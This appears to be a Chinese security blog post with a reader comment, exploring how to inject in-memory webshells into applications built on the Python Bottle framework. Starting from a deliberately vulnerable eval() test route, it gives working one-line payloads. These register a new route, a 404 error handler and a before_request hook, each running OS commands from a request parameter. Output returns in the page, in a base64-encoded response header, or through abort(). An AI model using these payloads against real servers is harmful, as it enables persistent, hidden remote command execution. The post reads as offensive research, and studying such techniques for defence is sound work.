探寻Bottle框架内存马

在某次测试时候 碰见了一个叫bottle的框架 于是探寻了下在实际中可应用的注入内存马的方法

探寻Bottle框架内存马

0x00 环境搭建

我们直接pip3 install bottle下载最新版本即可

然后在这里写一段代码,手动添加一条测试路由大概如下

image.png

#!/usr/bin/env python  
\# -\*- coding:utf-8 -\*-  
from bottle import template, Bottle,request,error  
​  
app = Bottle()  
@error(404)  
@app.route('/memshell')  
def index():  
  result = eval(request.params.get('cmd'))  
  return template('Hello {{result}}, how are you?',result)  
​  
@app.route('/')  
def index():  
  return 'Hello world'  
if __name__ == '__main__':  
  app.run(host='0.0.0.0', port=8888,debug=True)

在cmd我们可以执行python代码 即可开始测试

0x01 Bottle路由规则

我对内存马的理解就是注入一段执行命令的代码,把他找一个回显位点或者说绑定一个自定义的路由

在这之前 我们要理清整个框架的路由如何解析 方便我们日后的自定义路由的绑定
image.png

首先在装饰器的使用 直接调用一个route函数

image.png

我们跟进来看 他其实有很多默认的参数 在不看代码前 我们在看文档描述其实就能知道意义

首先我们传进去的 如图所示的 /memshell 就是我们的path

跟进代码

image.png

可以看到 在一开始他进行了一个判断 如果 path 是一个可调用对象(例如一个函数),则交换 pathcallback 的角色,将原本作为 path 的值赋给 callback,并将 path 设置为 None

这个其实我们也很好理解就是他会进行动态判断传入参数的类型 进行赋值,当你看到callback的时候 其实就会想到如果我们可以自定义一个函数 传进去 就能进行一个绑定的结果 但我们先别急 继续看完代码

剩下的代码定义了一个装饰器decorator函数 专门用来接收callback参数 然后下面一段都是生成路由的规则

我们可以看到最后通过创建一个Route对象 来完成路由的创建

最后走进add_route函数

image.png

对路由的规则和方法进行添加 以此完成最后的创建

0x02 如何使用callback

我们知道路由里面可以传入一个callback作为一个回调函数 或者说处理请求的函数 但是在路由本身解析的过程 他本意是与用户自定义一个函数进行绑定 看起来我们好像没什么办法了

所以我们目前需要探索的是如何不写一个完整的def的情况下自定义一个函数 经过搜索我发现了python自己默认自带的lambda表达式

image.png

他的语法非常简单而且还能省略arguments 参数 可以直接使用这种方式

lambda : print(1)

image.png

所以我的poc如上

我执行print(1) 我发现访问/b路由 他是一片空白的 在我们启动端

image.png

是看到可以成功执行的命令的 所以我们注入路由是可行的,而且lambda表达式也是可以的

0x03 思路(1) 直接绑定路由

有了这个思路 我直接手动引入os执行命令

image.png

再访问/b路由

image.png

可以看到能够成功完全可以 而且页面也是有回显的

这个很好理解 本身我们的路由就是和回调函数绑定的 所以执行的命令 也会直接回显在路由上 这个思路我们不需要找其他回显之类的就可以进行命令执行

那么接下来的操作就是让popen传进去的参数可控就可以了

app.route("%2Fb"%2C"GET"%2Clambda%20%3A__import__(%27os%27).popen(request.params.get('a')).read())

poc如上即可

你使用这种 也是完全可以的 request.query.get('a')

0x04 思路(2) 利用一些错误页面

很多时候框架都会自定义一些错误页面 比如404 会有对应的输出

所以我翻阅了下 bottle框架的对应源码

image.png

@error() 装饰器实际上是注册一个错误处理函数,用于捕获特定的 HTTP 错误。错误处理函数会接受一个 response 对象和错误信息,并允许你自定义返回的错误页面或日志

他通过wrapper函数传入 handler 把他与code错误码进行匹配 其实handler就是一个函数的意思

如果你在正常写代码自定义错误信息你可以通过这种方式

image.png

但是我们使用时候肯定依旧不能调用自定义函数

阅读代码发现如果你直接调用error方法 他其实是会返回一个wrapper函数的 而wrapper函数的参数就是我们自定义的函数

所以也就是我们可以

app.error(404)(lambda e: print(1))

构造poc如上即可 接下来就是简单的引入os即可 最终poc

app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())

0x05 思路(3) 利用hook

翻阅文章看到一些师傅提到了python很多框架都内置了一些hook函数

于是我也阅读了下Bottle环境的相关Hook源码

image.png

Hook就相当于一个事件 当这个事件发生的时候就会触发这个事件执行

比如图中有请求前 请求后 请求重启等事件的触发

image.png

在这里可以看到对bottle框架的hook进行操作 在添加时候我们可以看到他专门有一个参数就是func 也就是执行的函数

我们随便选一种好触发的 比如before_request

image.png

我们手动添加add_hook

image.png
再进行访问发现果然会触发函数

但是在这种操作情况下 最难的就是该如何创建回显呢?

一些ctf经验告诉我 其实可以做一种类似半回显的办法

就是比如

image.png

我们其实是有响应头的 如果我们控制在响应头来进行回显

如果想要控制响应头我们一定要关注一个操作对象 就是相应的reponse对象

image.png

可以很容易找到BaseResponse类

稍微简单翻阅就可以看到

image.png

这个有set_header可以方便我们设置name 和值了 那现在关键点就在于如何调用到response对象 或者说操纵response对象

我们在使用bottle框架他内置了response对象

也就是我们import之后就可以直接调用

那我们其实也可以直接使用__import__引入

__import__('bottle').response 就可以了

最后poc

app.add_hook('before_request', lambda: __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen(request.query.get('a')).read().encode('utf-8')).decode('utf-8')))

在这里我怕执行命令的时候有什么字符会影响正常运行 所以套一层base64编码

image.png

可以发现能够成功回显在响应头里

但其实在目前我们的视野拓展到可以控制Bottle框架内置的一些函数的话 就可以再多看看

我注意到bottle框架中的一个内置函数abort

image.png

不仅是因为他可以触发一个异常 而且他第二个参数是我们可控回显在页面上的

所以我构造如下的poc

app.add_hook(%27before_request%27,%20lambda:%20__import__(%27bottle%27).abort(404,__import__(%27os%27).popen(request.query.get(%27a%27)).read()))

这样跟前面的利用错误很相像

image.png

这样访问一个不存在的路由的的时候他就会触发

但测试的时候发现有个弊端 因为注入的时候触发了异常 所以会严重影响业务,所以可能用处不是特别大,只当学习拓展了

后记&&参考链接

感谢天工实验室的师傅 发表的这篇文章https://research.qianxin.com/archives/2329 让我在探索时候有了很多灵感

  • 发表于 2025-01-17 10:00:01
  • 阅读 ( 28854 )
  • 分类:漏洞分析

1 条评论

cxaqhq
没想到在python 上也能看见内存马的技术
请先 登录 后评论
请先 登录 后评论
Massa
Massa

1 篇文章

站长统计